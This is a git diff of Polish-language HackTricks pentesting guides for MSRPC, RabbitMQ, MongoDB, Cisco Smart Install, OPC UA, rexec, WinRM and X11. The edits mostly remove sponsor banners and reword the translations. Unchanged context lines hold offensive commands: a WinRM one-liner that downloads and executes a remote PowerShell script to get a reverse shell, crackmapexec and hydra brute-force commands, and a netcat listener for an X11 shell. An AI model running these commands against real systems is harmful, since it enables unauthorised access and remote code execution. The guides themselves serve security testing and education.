Procedure Call (MSRPC), model klient-serwer umożliwiający programowi żądanie usługi od programu znajdującego się na innym komputerze bez zrozumienia specyfiki sieci, początkowo pochodził z oprogramowania open-source, a później został rozwinięty i objęty prawem autorskim przez Microsoft. Mapper punktów końcowych RPC można uzyskać za pomocą portu TCP i UDP 135, SMB na TCP 139 i 445 (z sesją null lub uwierzytelnioną) oraz jako usługa internetowa na porcie TCP 593. ``` @@ -33,7 +18,7 @@ Inicjowany przez aplikację kliencką, proces MSRPC polega na wywołaniu lokalne ## **Identyfikacja wystawionych usług RPC** -Ekspozycję usług RPC przez TCP, UDP, HTTP i SMB można określić, zapytując usługę lokalizatora RPC oraz poszczególne punkty końcowe. Narzędzia takie jak rpcdump ułatwiają identyfikację unikalnych usług RPC, oznaczonych wartościami **IFID**, ujawniając szczegóły usługi i powiązania komunikacyjne: +Wystawienie usług RPC przez TCP, UDP, HTTP i SMB można określić, zapytując usługę lokalizatora RPC oraz poszczególne punkty końcowe. Narzędzia takie jak rpcdump ułatwiają identyfikację unikalnych usług RPC, oznaczonych wartościami **IFID**, ujawniając szczegóły usługi i powiązania komunikacyjne: ``` D:\rpctools> rpcdump [-p port] **IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0 @@ -41,7 +26,7 @@ Annotation: Messenger Service UUID: 00000000-0000-0000-0000-000000000000 Binding: ncadg_ip_udp:[1028] ``` -Dostęp do usługi lokalizatora RPC jest włączony przez określone protokoły: ncacn_ip_tcp i ncadg_ip_udp do dostępu przez port 135, ncacn_np dla połączeń SMB oraz ncacn_http dla komunikacji RPC opartej na sieci. Poniższe polecenia ilustrują wykorzystanie modułów Metasploit do audytowania i interakcji z usługami MSRPC, koncentrując się głównie na porcie 135: +Dostęp do usługi lokalizatora RPC jest włączony przez określone protokoły: ncacn_ip_tcp i ncadg_ip_udp do dostępu przez port 135, ncacn_np dla połączeń SMB oraz ncacn_http dla komunikacji RPC opartej na sieci web. Poniższe polecenia ilustrują wykorzystanie modułów Metasploit do audytowania i interakcji z usługami MSRPC, koncentrując się głównie na porcie 135: ```bash use auxiliary/scanner/dcerpc/endpoint_mapper use auxiliary/scanner/dcerpc/hidden @@ -82,7 +67,7 @@ Wszystkie opcje z wyjątkiem `tcp_dcerpc_auditor` są specjalnie zaprojektowane Używając [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), pochodzącego z [badania Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), możliwe jest nadużycie metody _**ServerAlive2**_ wewnątrz interfejsu _**IOXIDResolver**_. -Metoda ta była używana do uzyskiwania informacji o interfejsie jako adresie **IPv6** z maszyny HTB _APT_. Zobacz [tutaj](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) dla opisu 0xdf APT, zawiera alternatywną metodę używającą rpcmap.py z [Impacket](https://github.com/SecureAuthCorp/impacket/) z _stringbinding_ (patrz powyżej). +Metoda ta była używana do uzyskiwania informacji o interfejsie jako adres **IPv6** z maszyny HTB _APT_. Zobacz [tutaj](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) dla opisu 0xdf APT, zawiera alternatywną metodę używającą rpcmap.py z [Impacket](https://github.com/SecureAuthCorp/impacket/) z _stringbinding_ (patrz powyżej). ### Wykonywanie RCE z ważnymi poświadczeniami @@ -104,19 +89,4 @@ Możliwe jest wykonanie zdalnego kodu na maszynie, jeśli dostępne są poświad - [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/) - [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/) -
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności o hackingu w czasie rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze ogłoszenia**\ -Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md index 9899c72a4..e32f4e67c 100644 --- a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md +++ b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md @@ -2,23 +2,19 @@ {{#include ../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Podstawowe informacje Możesz dowiedzieć się więcej o RabbitMQ w [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\ -Na tym porcie możesz znaleźć konsolę internetową RabbitMQ Management, jeśli [plugin zarządzania](https://www.rabbitmq.com/management.html) jest włączony.\ +Na tym porcie możesz znaleźć konsolę zarządzania RabbitMQ, jeśli [plugin zarządzania](https://www.rabbitmq.com/management.html) jest włączony.\ Główna strona powinna wyglądać tak: ![](<../images/image (336).png>) ## Enumeracja -Domyślne dane logowania to "_**guest**_":"_**guest**_". Jeśli nie działają, możesz spróbować [**brute-force logowania**](../generic-hacking/brute-force.md#http-post-form). +Domyślne dane logowania to "_**guest**_":"_**guest**_". Jeśli nie działają, możesz spróbować [**brute-force the login**](../generic-hacking/brute-force.md#http-post-form). Aby ręcznie uruchomić ten moduł, musisz wykonać: ``` @@ -31,7 +27,7 @@ Po poprawnej autoryzacji zobaczysz konsolę administratora: Jeśli masz ważne dane logowania, możesz znaleźć interesujące informacje pod adresem `http://localhost:15672/api/connections` -Zauważ również, że możliwe jest **publikowanie danych w kolejce** za pomocą API tej usługi, wysyłając żądanie takie jak: +Zauważ również, że możliwe jest **publikowanie danych wewnątrz kolejki** za pomocą API tej usługi, wysyłając żądanie takie jak: ```bash POST /api/exchanges/%2F/amq.default/publish HTTP/1.1 Host: 172.32.56.72:15672 @@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist - `port:15672 http` -
-**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/27017-27018-mongodb.md b/src/network-services-pentesting/27017-27018-mongodb.md index 2281f401f..d7f67e725 100644 --- a/src/network-services-pentesting/27017-27018-mongodb.md +++ b/src/network-services-pentesting/27017-27018-mongodb.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
+## Podstawowe informacje -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Podstawowe Informacje - -**MongoDB** to **system zarządzania bazą danych** typu **open source**, który wykorzystuje **model bazy danych zorientowanej na dokumenty** do obsługi różnych form danych. Oferuje elastyczność i skalowalność w zarządzaniu danymi nieustrukturyzowanymi lub półustrukturyzowanymi w aplikacjach takich jak analityka big data i zarządzanie treścią. **Domyślny port:** 27017, 27018 +**MongoDB** to system zarządzania bazą danych **open source**, który wykorzystuje **model bazy danych oparty na dokumentach** do obsługi różnych form danych. Oferuje elastyczność i skalowalność w zarządzaniu danymi niestrukturalnymi lub półstrukturalnymi w aplikacjach takich jak analityka big data i zarządzanie treścią. **Domyślny port:** 27017, 27018 ``` PORT STATE SERVICE VERSION 27017/tcp open mongodb MongoDB 2.6.9 2.6.9 @@ -75,7 +60,7 @@ nmap -n -sV --script mongodb-brute -p 27017 ``` ### [**Brute force**](../generic-hacking/brute-force.md#mongo) -Sprawdź w _/opt/bitnami/mongodb/mongodb.conf_, czy potrzebne są dane uwierzytelniające: +Sprawdź w _/opt/bitnami/mongodb/mongodb.conf_, aby dowiedzieć się, czy potrzebne są dane uwierzytelniające: ```bash grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed @@ -95,29 +80,14 @@ Na przykład, oto jak możemy rozłożyć rzeczywisty Object ID zwrócony przez 3. 2500: Identyfikator procesu 4. 314019: Licznik inkrementacyjny -Z powyższych elementów, identyfikator maszyny pozostanie taki sam tak długo, jak baza danych działa na tej samej fizycznej/wirtualnej maszynie. Identyfikator procesu zmieni się tylko, jeśli proces MongoDB zostanie zrestartowany. Znacznik czasu będzie aktualizowany co sekundę. Jedynym wyzwaniem w zgadywaniu Object IDs poprzez po prostu inkrementację wartości licznika i znacznika czasu, jest fakt, że Mongo DB generuje Object IDs i przypisuje Object IDs na poziomie systemowym. +Z powyższych elementów, identyfikator maszyny pozostanie taki sam tak długo, jak baza danych działa na tej samej fizycznej/wirtualnej maszynie. Identyfikator procesu zmieni się tylko, jeśli proces MongoDB zostanie zrestartowany. Znacznik czasu będzie aktualizowany co sekundę. Jedynym wyzwaniem w zgadywaniu Object IDs poprzez po prostu inkrementowanie wartości licznika i znacznika czasu, jest fakt, że Mongo DB generuje Object IDs i przypisuje Object IDs na poziomie systemowym. Narzędzie [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), podając początkowy Object ID (możesz założyć konto i uzyskać początkowy ID), zwraca około 1000 prawdopodobnych Object IDs, które mogły zostać przypisane do następnych obiektów, więc wystarczy je bruteforce'ować. ## Post -Jeśli jesteś rootem, możesz **zmodyfikować** plik **mongodb.conf**, aby nie były potrzebne żadne dane uwierzytelniające (_noauth = true_) i **zalogować się bez danych uwierzytelniających**. +Jeśli jesteś rootem, możesz **zmodyfikować** plik **mongodb.conf**, aby nie były potrzebne żadne poświadczenia (_noauth = true_) i **zalogować się bez poświadczeń**. --- -
- -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Hacking Insights**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Real-Time Hack News**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym - -**Latest Announcements**\ -Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4786-cisco-smart-install.md b/src/network-services-pentesting/4786-cisco-smart-install.md index 23017f687..53711ebac 100644 --- a/src/network-services-pentesting/4786-cisco-smart-install.md +++ b/src/network-services-pentesting/4786-cisco-smart-install.md @@ -2,9 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Podstawowe informacje @@ -19,13 +16,13 @@ PORT STATE SERVICE **W 2018 roku odkryto krytyczną lukę, CVE-2018–0171, w tym protokole. Poziom zagrożenia wynosi 9.8 w skali CVSS.** -**Specjalnie skonstruowany pakiet wysłany na port TCP/4786, gdzie aktywne jest Cisco Smart Install, wywołuje przepełnienie bufora, co pozwala atakującemu na:** +**Specjalnie przygotowany pakiet wysłany na port TCP/4786, gdzie aktywne jest Cisco Smart Install, wywołuje przepełnienie bufora, co pozwala atakującemu na:** - wymuszenie ponownego uruchomienia urządzenia - wywołanie RCE - kradzież konfiguracji sprzętu sieciowego. -**Narzędzie** [**SIET**](https://github.com/frostbits-security/SIET) **(Narzędzie do Eksploatacji Smart Install)** zostało opracowane w celu wykorzystania tej luki, pozwala na nadużycie Cisco Smart Install. W tym artykule pokażę, jak możesz odczytać legalny plik konfiguracyjny sprzętu sieciowego. Konfiguracja eksfiltracji może być cenna dla pentestera, ponieważ pozwoli na poznanie unikalnych cech sieci. A to ułatwi życie i pozwoli na znalezienie nowych wektorów ataku. +**Narzędzie** [**SIET**](https://github.com/frostbits-security/SIET) **(Narzędzie do Eksploatacji Smart Install)** zostało opracowane w celu wykorzystania tej luki, pozwala na nadużycie Cisco Smart Install. W tym artykule pokażę, jak możesz odczytać legalny plik konfiguracyjny sprzętu sieciowego. Konfiguracja eksfiltracji może być cenna dla pentestera, ponieważ pozwoli na poznanie unikalnych cech sieci. A to ułatwi życie i pozwoli znaleźć nowe wektory ataku. **Docelowym urządzeniem będzie "żywy" przełącznik Cisco Catalyst 2960. Obrazy wirtualne nie mają Cisco Smart Install, więc możesz ćwiczyć tylko na rzeczywistym sprzęcie.** @@ -35,12 +32,9 @@ Adres docelowego przełącznika to **10.10.100.10 i CSI jest aktywne.** Załaduj ```
-Konfiguracja przełącznika **10.10.100.10** będzie w folderze **tftp/** +Konfiguracja switcha **10.10.100.10** będzie w folderze **tftp/**
-
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4840-pentesting-opc-ua.md b/src/network-services-pentesting/4840-pentesting-opc-ua.md index 3e241dc74..c8951ec20 100644 --- a/src/network-services-pentesting/4840-pentesting-opc-ua.md +++ b/src/network-services-pentesting/4840-pentesting-opc-ua.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Podstawowe informacje -**OPC UA**, czyli **Open Platform Communications Unified Access**, to kluczowy protokół open-source używany w różnych branżach, takich jak produkcja, energia, lotnictwo i obronność, do wymiany danych i kontroli urządzeń. Umożliwia on unikalną komunikację sprzętu różnych dostawców, szczególnie z PLC. +**OPC UA**, czyli **Open Platform Communications Unified Access**, to kluczowy protokół open-source używany w różnych branżach, takich jak produkcja, energia, lotnictwo i obrona, do wymiany danych i kontroli urządzeń. Umożliwia on unikalną komunikację sprzętu różnych dostawców, szczególnie z PLC. Jego konfiguracja pozwala na silne środki bezpieczeństwa, ale często, dla kompatybilności ze starszymi urządzeniami, są one osłabiane, narażając systemy na ryzyko. Dodatkowo, znalezienie usług OPC UA może być trudne, ponieważ skanery sieciowe mogą ich nie wykrywać, jeśli znajdują się na niestandardowych portach. @@ -29,7 +21,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ``` ### Wykorzystywanie luk -Jeśli znajdziesz luki w omijaniu uwierzytelniania, możesz odpowiednio skonfigurować [klienta OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) i sprawdzić, do czego masz dostęp. Może to pozwolić na wszystko, od jedynie odczytywania wartości procesów po rzeczywiste operowanie ciężkim sprzętem przemysłowym. +Jeśli znajdziesz luki w omijaniu uwierzytelniania, możesz odpowiednio skonfigurować [klienta OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) i sprawdzić, do czego masz dostęp. Może to pozwolić na wszystko, od jedynie odczytywania wartości procesów po rzeczywiste sterowanie ciężkim sprzętem przemysłowym. Aby uzyskać wskazówki dotyczące urządzenia, do którego masz dostęp, odczytaj wartości węzła "ServerStatus" w przestrzeni adresowej i poszukaj podręcznika użytkownika w Google. @@ -41,12 +33,5 @@ Aby uzyskać wskazówki dotyczące urządzenia, do którego masz dostęp, odczyt - [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/512-pentesting-rexec.md b/src/network-services-pentesting/512-pentesting-rexec.md index 5b33261e6..59ab3b248 100644 --- a/src/network-services-pentesting/512-pentesting-rexec.md +++ b/src/network-services-pentesting/512-pentesting-rexec.md @@ -2,13 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na wykorzystanie luki, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Podstawowe informacje @@ -21,12 +14,5 @@ PORT STATE SERVICE ``` ### [**Brute-force**](../generic-hacking/brute-force.md#rexec) -
- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na wykorzystanie luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 70bba3f34..bcb8a2c6c 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - ## WinRM -[Windows Remote Management (WinRM)]() jest wyróżniony jako **protokół od Microsoftu**, który umożliwia **zdalne zarządzanie systemami Windows** przez HTTP(S), wykorzystując SOAP w tym procesie. Jest zasadniczo zasilany przez WMI, prezentując się jako interfejs oparty na HTTP do operacji WMI. +[Windows Remote Management (WinRM)]() jest wyróżniony jako **protokół od Microsoft** umożliwiający **zdalne zarządzanie systemami Windows** przez HTTP(S), wykorzystując SOAP w tym procesie. Jest zasadniczo zasilany przez WMI, prezentując się jako interfejs oparty na HTTP dla operacji WMI. Obecność WinRM na maszynie umożliwia prostą zdalną administrację za pomocą PowerShell, podobnie jak SSH działa w innych systemach operacyjnych. Aby sprawdzić, czy WinRM działa, zaleca się sprawdzenie otwarcia konkretnych portów: @@ -28,9 +13,9 @@ Obecność WinRM na maszynie umożliwia prostą zdalną administrację za pomoc Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, co pozwala na próby nawiązania zdalnej sesji. -### **Inicjowanie Sesji WinRM** +### **Inicjowanie sesji WinRM** -Aby skonfigurować PowerShell dla WinRM, wchodzi w grę cmdlet Microsoftu `Enable-PSRemoting`, który przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany: +Aby skonfigurować PowerShell dla WinRM, wchodzi w grę cmdlet Microsoftu `Enable-PSRemoting`, który przygotowuje komputer do akceptacji zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * @@ -43,11 +28,11 @@ wmic /node: process call create "powershell enable-psremoting -forc ``` Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność w zarządzaniu maszynami z systemem Windows zdalnie. -### Sprawdź, czy skonfigurowano +### Sprawdź, czy jest skonfigurowane -Aby zweryfikować konfigurację twojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowane WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego: +Aby zweryfikować konfigurację twojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma poprawnie skonfigurowane WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego: -- Dla celu, który **jest** prawidłowo skonfigurowany, wynik będzie wyglądał podobnie do tego: +- Dla celu, który **jest** poprawnie skonfigurowany, wynik będzie wyglądał podobnie do tego: ```bash Test-WSMan ``` @@ -67,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al ``` ![](<../images/image (151).png>) -Możesz również **wykonać polecenie z bieżącej konsoli PS za pomocą** _**Invoke-Command**_. Załóżmy, że masz lokalnie funkcję o nazwie _**enumeration**_ i chcesz **wykonać ją na zdalnym komputerze**, możesz to zrobić: +Możesz również **wykonać polecenie z bieżącej konsoli PS za pomocą** _**Invoke-Command**_. Załóżmy, że masz lokalnie funkcję o nazwie _**enumeration**_ i chcesz ją **wykonać na zdalnym komputerze**, możesz to zrobić: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` @@ -75,7 +60,7 @@ Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` -### Uzyskaj powłokę odwrotną +### Uzyskaj reverse-shell ```powershell Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` @@ -137,26 +122,11 @@ Spróbuj na kliencie (informacje z [tutaj](https://serverfault.com/questions/657 winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` -
+## Połączenie WinRM w systemie Linux -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! +### Atak siłowy -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Połączenie WinRM w Linuxie - -### Atak Brute Force - -Uważaj, brute-forcing winrm może zablokować użytkowników. +Uważaj, atak siłowy na winrm może zablokować użytkowników. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -291,19 +261,4 @@ Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` -
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index 1bc19f26e..b61153770 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -2,21 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w hacking**\ -Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem - -**Aktualności o hackingu w czasie rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - ## Podstawowe informacje **X Window System** (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia ramy do tworzenia graficznych **interfejsów użytkownika (GUI)**, przy czym poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowane doświadczenia w środowisku X. @@ -33,7 +18,7 @@ Sprawdź **anonimowe połączenie:** nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` -#### Lokalna enumeracja +#### Lokalne enumeracje Plik **`.Xauthority`** w katalogu domowym użytkownika jest **używany** przez **X11 do autoryzacji**. Z [**tutaj**](https://stackoverflow.com/a/37367518): ```bash @@ -85,6 +70,8 @@ Sposób z: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticate ``` ./xrdp.py ``` +Sposób z: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) + Najpierw musimy znaleźć ID okna za pomocą xwininfo ``` xwininfo -root -display 10.9.xx.xx:0 @@ -135,7 +122,7 @@ nc -lvp 5555 ``` Następnie wprowadź swój adres IP i port w opcji **R-Shell** i kliknij na **R-shell**, aby uzyskać powłokę -## Odniesienia +## References - [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) @@ -145,19 +132,4 @@ Następnie wprowadź swój adres IP i port w opcji **R-Shell** i kliknij na **R- - `port:6000 x11` -
